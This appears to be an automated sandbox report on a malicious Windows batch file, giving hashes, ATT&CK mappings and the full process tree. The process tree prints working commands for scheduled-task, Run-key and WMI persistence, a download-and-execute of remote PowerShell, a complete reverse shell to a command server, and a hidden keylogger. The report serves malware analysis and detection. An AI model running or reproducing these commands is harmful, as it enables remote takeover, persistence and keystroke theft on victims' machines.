fe3c532f283dbcd8c7ba88df7c151fe8e970892cdf233d83283f56f09b579acc

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:48

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General

Target
rat_build_174714_014455.bat
Size 4KB
Sample260529-b79bbaav2y
SHA256 fe3c532f283dbcd8c7ba88df7c151fe8e970892cdf233d83283f56f09b579acc
MD5 b6493d773f02b2d8179bda7c19aa5206
SHA1 e57f3a0e0e97660ef54db544dd886e2d902d5efa
SHA512 784e31d95da9dc271711376386281fe6f67584ea78517a9a13fac9d0c9375968ddd1af31f02f827e7a4c377439ffdbcee1ae93e78081b055026831a519318d74
SSDEEP 96:2IFCWcNTInlyr/AigyRHW+Gk+fU+svk0WgR+EiFgZk8mvlo1v/:2CcNcl+yyR26k0WOiFgkHl2/
TLSH
T1E0A1F8276B5A6120D9B01248DD333868476CEDFF1344C9CEEF89CEC56E5CA83845A6E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_174714.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1032	powershell.exe
4248	powershell.exe
3716	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_174714 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_174714.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4160	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3804	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
572	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1032	powershell.exe
1032	powershell.exe
4248	powershell.exe
4248	powershell.exe
3716	powershell.exe
3716	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	676	WMIC.exe
Token: SeSecurityPrivilege	676	WMIC.exe
Token: SeTakeOwnershipPrivilege	676	WMIC.exe
Token: SeLoadDriverPrivilege	676	WMIC.exe
Token: SeSystemProfilePrivilege	676	WMIC.exe
Token: SeSystemtimePrivilege	676	WMIC.exe
Token: SeProfSingleProcessPrivilege	676	WMIC.exe
Token: SeIncBasePriorityPrivilege	676	WMIC.exe
Token: SeCreatePagefilePrivilege	676	WMIC.exe
Token: SeBackupPrivilege	676	WMIC.exe
Token: SeRestorePrivilege	676	WMIC.exe
Token: SeShutdownPrivilege	676	WMIC.exe
Token: SeDebugPrivilege	676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	676	WMIC.exe
Token: SeRemoteShutdownPrivilege	676	WMIC.exe
Token: SeUndockPrivilege	676	WMIC.exe
Token: SeManageVolumePrivilege	676	WMIC.exe
Token: 33	676	WMIC.exe
Token: 34	676	WMIC.exe
Token: 35	676	WMIC.exe
Token: 36	676	WMIC.exe
Token: SeIncreaseQuotaPrivilege	676	WMIC.exe
Token: SeSecurityPrivilege	676	WMIC.exe
Token: SeTakeOwnershipPrivilege	676	WMIC.exe
Token: SeLoadDriverPrivilege	676	WMIC.exe
Token: SeSystemProfilePrivilege	676	WMIC.exe
Token: SeSystemtimePrivilege	676	WMIC.exe
Token: SeProfSingleProcessPrivilege	676	WMIC.exe
Token: SeIncBasePriorityPrivilege	676	WMIC.exe
Token: SeCreatePagefilePrivilege	676	WMIC.exe
Token: SeBackupPrivilege	676	WMIC.exe
Token: SeRestorePrivilege	676	WMIC.exe
Token: SeShutdownPrivilege	676	WMIC.exe
Token: SeDebugPrivilege	676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	676	WMIC.exe
Token: SeRemoteShutdownPrivilege	676	WMIC.exe
Token: SeUndockPrivilege	676	WMIC.exe
Token: SeManageVolumePrivilege	676	WMIC.exe
Token: 33	676	WMIC.exe
Token: 34	676	WMIC.exe
Token: 35	676	WMIC.exe
Token: 36	676	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2396	WMIC.exe
Token: SeSecurityPrivilege	2396	WMIC.exe
Token: SeTakeOwnershipPrivilege	2396	WMIC.exe
Token: SeLoadDriverPrivilege	2396	WMIC.exe
Token: SeSystemProfilePrivilege	2396	WMIC.exe
Token: SeSystemtimePrivilege	2396	WMIC.exe
Token: SeProfSingleProcessPrivilege	2396	WMIC.exe
Token: SeIncBasePriorityPrivilege	2396	WMIC.exe
Token: SeCreatePagefilePrivilege	2396	WMIC.exe
Token: SeBackupPrivilege	2396	WMIC.exe
Token: SeRestorePrivilege	2396	WMIC.exe
Token: SeShutdownPrivilege	2396	WMIC.exe
Token: SeDebugPrivilege	2396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2396	WMIC.exe
Token: SeRemoteShutdownPrivilege	2396	WMIC.exe
Token: SeUndockPrivilege	2396	WMIC.exe
Token: SeManageVolumePrivilege	2396	WMIC.exe
Token: 33	2396	WMIC.exe
Token: 34	2396	WMIC.exe
Token: 35	2396	WMIC.exe
Token: 36	2396	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2396	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3400 wrote to memory of 4712	3400	cmd.exe	89
PID 3400 wrote to memory of 572	3400	cmd.exe	90
PID 3400 wrote to memory of 676	3400	cmd.exe	91
PID 3400 wrote to memory of 2396	3400	cmd.exe	92
PID 3400 wrote to memory of 1444	3400	cmd.exe	93
PID 3400 wrote to memory of 3804	3400	cmd.exe	95
PID 3400 wrote to memory of 4160	3400	cmd.exe	101
PID 3400 wrote to memory of 1032	3400	cmd.exe	102
PID 3400 wrote to memory of 4248	3400	cmd.exe	103
PID 3400 wrote to memory of 3716	3400	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_174714_014455.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3400
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_174714" /tr "C:\Users\Admin\AppData\Local\Temp\_174714.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4712
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_174714" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_174714.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:572
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_174714", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:676
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_174714", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_174714.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_174714.txt
  2⤵
  PID:1444
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3804
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_174714.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3716

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ec99862883ae4b983dc875a49f702b7d3f2da977b534131bc66ec7cb55125926
MD5 be12a1ab84f5a42051e0d8aa7b25a2ef
SHA1 258554be10f06b8894905ae3975456980b0d5f5e
SHA512 63072cd7cd933521772a8146860309c0607f91b190b4e4ebe3ead3479caa71333aa617cf1b498a9d758bab68cee334b7ceb4e3aa802d14572cc8bfb536d18a0a
TLSH
T10C117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A17F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
MD5 3d60e7c9ef409fbfd9e405db511fefc5
SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
TLSH
T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_2utqn5vk.w5g.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2utqn5vk.w5g.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1032-8-0x000001D1C8EC0000-0x000001D1C8EE2000-memory.dmp

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